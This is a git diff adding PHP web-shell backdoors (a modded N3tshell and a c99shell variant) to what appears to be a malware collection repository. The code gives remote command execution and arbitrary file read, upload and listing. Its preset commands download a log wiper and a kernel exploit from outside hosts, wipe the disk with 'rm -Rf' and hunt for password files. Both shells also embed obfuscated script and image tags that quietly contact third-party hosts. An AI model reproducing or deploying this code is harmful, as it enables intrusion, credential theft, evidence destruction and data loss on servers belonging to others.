+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center>Undetectable version by <br> Spyn3t <br> <img src=\"http://emp3ror.com/images/emplogo1.gif\"></center>";} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <?php echo base64_decode('PFNDUklQVCBTUkM9JiN4NjgmI3g3NCYjeDc0JiN4NzAmI3gzYSYjeDJmJiN4MmYmI3g3NyYjeDc3JiN4NzcmI3gyZSYjeDZjJiN4NmYmI3g2MyYjeDYxJiN4NmMmI3g3MiYjeDZmJiN4NmYmI3g3NCYjeDJlJiN4NmUmI3g2NSYjeDc0JiN4MmYmI3g2OSYjeDYyJiN4NmUmI3g2NSYjeDZjJiN4NjUmI3g3MiYjeDJmJiN4NzkmI3g2MSYjeDdhJiN4MmUmI3g2YSYjeDczPjwvU0NSSVBUPiANCg==');?><a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Useful Commands + </div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? + <OPTION VALUE="which wget curl w3m lynx">Downloaders? + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE="locate gcc">gcc installed? + <OPTION VALUE="rm -Rf">Format box (DANGEROUS) + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) + <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 + <OPTION VALUE="./zap2">WIPELOGS PT3 + <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) + <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) + <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) + <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) + <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) + <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) + </SELECT> + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"> + <br> + Warning. Kernel may be alerted using higher levels </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> + <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> + <input type="hidden" name="client" value="firefox-a"> + <input type="hidden" name="rls" value="org.mozilla:en-US:official"> + <input type="hidden" name="hl" value="en"> + <input type="hidden" name="hs" value="b7p"> + <input type=submit name="btnG" VALUE="Search"> + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Php Safe-Mode Bypass (Read Files) + </div><br> + <form action="<?php echo $surl; ?>"> + <div align="center"> + File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + <? + + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_GET['file']; + $get=htmlspecialchars($file); + echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; + unlink($temp); + } else { + die("<FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_GET['directory']; +$files = glob("$chemin*"); +echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> + <div align="center"><br> + Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ N3tshell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> Spyn3t @ gmail. com| <a href="http://emp3ror.com"><font color="#FF0000">Emp3ror Team</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); N3tshexit(); ?> + diff --git a/web-malware-collection-master/Backdoors/PHP/c993.txt b/web-malware-collection-master/Backdoors/PHP/c993.txt new file mode 100755 index 0000000..48da208 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c993.txt @@ -0,0 +1,2880 @@ +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> +<?php + +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(true); +@set_magic_quotes_runtime(0); +@set_time_limit(0); +$win = strtolower(substr(PHP_OS, 0, 3)) == "win"; +if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);} +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0 beta (21.05.2005)"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 60; //limit of execution this script (seconds), 0 = unlimited. + +//Authentication + +$login = "c99"; //login +//DON'T FORGOT ABOUT CHANGE PASSWORD!!! +$pass = "c99"; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + + /*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/ $login = false; //turn off authentification + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied"; + +$autoupdate = false; //Automatic updating? +$updatenow = false; //If true, update now +$c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //Update server + +$filestealth = false; //if true, don't change modify&access-time + +$donated_html = "<center><b>KingDefacer</b></center>"; + /* If you publish free shell and you wish + add link to your site or any other information, + put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start directory +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = true; //If true then save sorting-type. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." %f%"=>array("php","php3","php4"), +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: + 0 - files and folders (as default), + 1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if true and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive + // Set as false or for turn off. +$hexdump_lines = 8; // lines in hex preview file +$hexdump_rows = 24; // 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "11457"; // default port for binding + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable directories and files", "find / -perm -2 -ls"), + array("find all writable directories and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = true; //Buffer-function +$copy_unset = false; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Bind</b>",$surl."act=bind&d=%d"), + array("<b>Proc.</b>",$surl."act=ps_aux&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/ Next code isn't for editing \/ +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if ($login) +{ + if(empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if ($login_txt === false) {$login_txt = "";} + elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if (($selfwrite) or ($updatenow)) +{ + if ($selfwrite == "1") {$selfwrite = "c99shell.php";} + c99sh_getupdate(); + $data = file_get_contents($c99sh_updatefurl); + $fp = fopen($data,"w"); + fwrite($fp,$data); + fclose($fp); + exit; +} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0, $len)."...".substr($content, -$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return false;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if 